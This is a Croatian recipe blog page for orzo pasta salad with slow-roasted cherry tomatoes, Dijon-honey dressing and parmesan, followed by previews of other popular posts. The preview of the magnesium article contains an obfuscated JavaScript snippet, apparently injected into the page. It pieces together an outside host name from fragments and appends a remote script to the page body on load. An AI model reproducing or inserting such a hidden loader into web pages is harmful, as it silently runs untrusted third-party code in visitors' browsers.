SALATA OD ORZO TJESTENINE I PEČENIH RAJČICA 🍅 🥗




Salata od orzo tjestenine i pečenih rajčica 



Ova ljetna salata spaja orzo tjesteninu s pravim bogatstvom okusa. Pečenje rajčica na niskoj temperaturi pretvara ih u sočne, slatke zalogaje pune umami okusa, dok preljev od senfa, meda i parmezana povezuje sve sastojke u cjelinu. Pinjoli daju finu teksturu, a po želji ih možete zamijeniti tostiranim bademima ili orasima.




Salata od orzo tjestenine i pečenih rajčica 


Sastojci (za 8 porcija)

  • 680 g trešnjastih (cherry) rajčica, prerezanih napola


  • 1/2 šalice maslinovog ulja (podijeljeno)


  • 1,5 žličica krupne morske soli (podijeljeno, plus dodatno za vodu)


  • 450 g sirove orzo tjestenine


  • 2 žlice crvenog vinskog octa


  • 1 žličica Dijon senfa


  • 1/2 žličice meda


  • 85 g fino naribanog parmezana (oko 3/4 šalice, podijeljeno)


  • 1 šalica nasjeckanog svježeg peršina ravnog lista (plus dodatno za posluživanje)


  • 1/2 šalice tostiranih pinjola




Priprema:

Pečenje rajčica

Zagrijte pećnicu na 150 °C. Lim za pečenje obložite papirnim papirom. Složite polovice rajčica na lim u jednom sloju, s prerezanom stranom prema gore. Pokapajte ih ravnomjerno s 1 žlicom maslinovog ulja i pospite s 1/2 žličice soli. Pecite u pećnici oko 1 sat, a zatim ih izvadite i pustite da se hlade oko 30 minuta.



 Kuhanje tjestenine

Dok se rajčice hlade, zakuhajte veliki lonac obilno posoljene vode. Dodajte orzo tjesteninu i kuhajte je al dente, oko 9 minuta. Ocijedite tjesteninu i prebacite je u veliku zdjelu za miješanje.




Priprema preljeva

Dok se tjestenina kuha, u maloj zdjeli pjenjačom pomiješajte crveni vinski ocat, Dijon senf, med i preostalu 1 žličicu soli. Polako ulijevajte 5 žlica maslinovog ulja, neprestano miješajući pjenjačom kako bi se sastojci sjedinili u emulziju.




Hlađenje i spajanje salate

U vruću tjesteninu ulijte polovicu pripremljenog preljeva (oko 1/4 šalice) i dobro promiješajte. Ostavite tjesteninu da se ohladi na sobnu temperaturu oko 30 minuta, povremeno miješajući.




Završavanje i posluživanje

U ohlađenu tjesteninu dodajte preostali preljev, 1/2 šalice naribanog parmezana, pečene rajčice, nasjeckani peršin i tostirane pinjole te sve lagano promiješajte. Prebacite salatu na tanjur za posluživanje, pospite preostalom 1/4 šalice parmezana, pokapajte s preostale 2 žlice maslinovog ulja i ukrasite s još malo svježeg peršina.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više